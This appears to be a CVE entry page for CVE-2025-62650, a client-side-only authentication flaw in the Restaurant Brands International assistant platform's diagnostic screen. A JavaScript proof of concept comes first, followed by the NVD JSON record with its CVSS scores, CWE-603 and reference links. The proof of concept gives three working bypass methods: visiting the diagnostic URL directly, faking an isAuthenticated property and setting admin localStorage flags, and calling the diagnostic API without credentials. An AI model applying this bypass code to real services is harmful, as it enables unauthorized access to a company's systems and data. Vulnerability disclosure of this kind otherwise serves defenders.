CVE-2025-62650

// CVE-2025-62650 - RBI Assistant Platform Diagnostic Screen Client-Side Auth Bypass PoC // Vulnerability: Client-side only authentication for diagnostic screen access // Affected: RBI Assistant Platform through 2025-09-06 // Method 1: Direct URL Access // Simply navigate to the diagnostic screen URL without authentication // The server does not enforce authentication checks const diagnosticUrl = 'https://rbi-assistant.example.com/diagnostic'; window.location.href = diagnosticUrl; // Method 2: Bypass Client-Side JavaScript Authentication Check // Override client-side auth validation functions function bypassClientSideAuth() { // Override common client-side auth check functions Object.defineProperty(window, 'isAuthenticated', { get: function() { return true; }, configurable: false }); // Override localStorage/sessionStorage auth flags localStorage.setItem('auth_token', 'bypass_token'); localStorage.setItem('user_role', 'admin'); localStorage.setItem('diagnostic_access', 'granted'); // Trigger any post-authentication initialization if (typeof onAuthSuccess === 'function') { onAuthSuccess(); } console.log('Client-side authentication bypassed successfully'); } // Method 3: Direct API Access via Fetch // Access diagnostic endpoints directly without authentication headers async function accessDiagnosticAPI() { try { const response = await fetch('https://rbi-assistant.example.com/api/diagnostic/status', { method: 'GET', credentials: 'include', headers: { 'Content-Type': 'application/json' // No Authorization header needed - server doesn't validate } }); const data = await response.json(); console.log('Diagnostic data accessed:', data); return data; } catch (error) { console.error('Error accessing diagnostic API:', error); } } // Execute the bypass bypassClientSideAuth(); // accessDiagnosticAPI();

{"cve": {"id": "CVE-2025-62650", "sourceIdentifier": "[email protected]", "published": "2025-10-17T21:15:38.337", "lastModified": "2025-10-31T18:39:28.907", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Restaurant Brands International (RBI) assistant platform through 2025-09-06 relies on client-side authentication for use of the diagnostic screen."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-603"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-06", "matchCriteriaId": "706D04A1-2EDB-4713-BA47-EFDC8A86FBA3"}]}]}], "references": [{"url": "https://archive.today/fMYQp", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bobdahacker.com/blog/rbi-hacked-drive-thrus/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://web.archive.org/web/20250906134240/https:/bobdahacker.com/blog/rbi-hacked-drive-thrus", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.malwarebytes.com/blog/news/2025/09/popeyes-tim-hortons-burger-king-platforms-have-catastrophic-vulnerabilities-say-hackers", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.yahoo.com/news/articles/burger-king-hacked-attackers-impressed-124154038.html", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}